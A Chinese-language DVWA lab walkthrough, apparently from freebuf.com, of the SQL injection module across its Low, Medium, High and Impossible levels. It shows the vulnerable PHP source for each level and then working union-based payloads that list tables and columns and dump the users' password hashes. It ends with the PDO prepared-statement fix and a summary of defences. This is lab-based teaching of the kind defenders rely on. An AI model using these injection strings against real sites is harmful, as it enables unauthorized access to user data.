DVWA SQL Injection SQL注入全等级分析与实践(Illegal mix of collations for operation UNION报错的解决方法) – 作者:wakemeup

DVWA SQL Injection SQL注入全等级分析与实践:

sql注入:

指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,可以通过构造sql语句来实现对数据库的任意操作。

危害:
  1. 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

  2. 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

  3. 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。

  4. 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

Low:

查看源码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

函数:

mysqli_fetch_assoc() 	// 函数从结果集中取得一行作为关联数组。

源码分析:

  1. ​ 对用户的传参没有进行过滤,可以直接拼接sql语句

  2. ​ 采用单引号闭合

输入1,能够正常返回用户名和密码
image.png
在1后面加上’,报错,说明此处存在注入点。

image.png

接下来,判断字符型还是数字型,判断方法如下:

在URL的注入点中输入 and 1=1
成功返回

image.png

输入 and 1=2,依然成功返回,说明不是数字型,因为返回值没有受到数字的影响
image.png

或者可以这样测试是不是数字型
在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入
image.png

同样地,依然查不到数据,确定不是数字型

然后是字符型的判断:
如果输入0’or 1#,查到数据说明是字符型注入
image.png
可以确定为字符型

猜解 SQL 查询语句中的字段数

image.png

继续增加,加到3
image.png
报错,说明这个表只有2列,也就是2个字段

确定显示的字段顺序

1 ‘ union select 1,2#
image.png
First name处显示结果位查询结果的第一列的值,surname处显示结果位查询结果第二列的值。

构造联合查询语句查询当前数据库用户和数据库名

‘ union select user(),database()#
image.png
每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:’union select 1,table_name from information_schema.tables where table_schema=database()#;

获取数据库中的表

1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

image.png
遇到问题,尝试找方法解决
折腾了一早上,将这个报错百度,看了博客发现是编码问题导致的,然后就是怎么设置数据库编码,又查,要下phpmyadmin来管理,下完了,结果有来报错了
image.png
花了很多时间,最后解决办法很简单,所以记录一下,没准可以帮到其他出现类似问题的小伙伴

image.png
在这里将版本改为7.3.4就OK了

然后就是修改编码了,看下图:

image.png
勾选上更改所有表排序规则
image.png
然后还得改一下php.ini中的配置
找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On,错误得到解决(因为我们刚才改了php的版本,相当于需要重新配置DVWA的运行环境)
image.png

还是有点问题,然后就单独把两个表也改了编码
image.png
终于终于成功了
image.png

(真的没想到中间会是这样地一波三折啊)
继续继续

获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

image.png

获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

image.png

查询账户的数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

image.png

Medium:

查看源码:

$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 

函数:

mysqli_real_escape_string(connection,escapestring);	// 函数转义在 SQL 语句中使用的字符串中的特殊字符。
connection 		// 必需。规定要使用的 MySQL 连接。
escapestring 	// 必需。要转义的字符串。

源码分析:

由GET类型传参改为POST类型传参,闭合方式不同,依然没有过滤

已经不能输入参数了
image.png

任意选一个,提交后抓包:
image.png
修改参数:
image.png
image.png

High:

查看源码:

$id = $_SESSION[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"

源码分析:
​ 从SESSION中获取id的值,使用单引号闭合。因为SESSION获取值的特点,不能直接在当前页面注入
新增了LIMIT 1,只提供了1个参数,它的意思是:表示返回最大的记录行数目为1

和medium一样使用bp抓包修改参数:
image.png
forward后再抓包
image.png

or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

image.png

image.png

Impossible:

查看源码:

// Anti-CSRF token 防御 CSRF 攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
 
$id = $_GET[ 'id' ];
// 检测是否是数字类型
if(is_numeric( $id )) {
  // 预编译
  $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
  $data->bindParam( ':id', $id, PDO::PARAM_INT );
  $data->execute();
  $row = $data->fetch();

Impossible级别的代码采用了PDO技术
至于PDO技术为什么可以有效解决sql注入,大家可以看看这个博客
https://www.cnblogs.com/alazalazalaz/p/6056393.html

SQL Injection SQL防护总结:
  1. 对参数进行预编译

  2. 使用正则表达式过滤传入的参数

  3. 字符串过滤,转义

来源:freebuf.com 2021-06-26 14:40:12 by: wakemeup

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论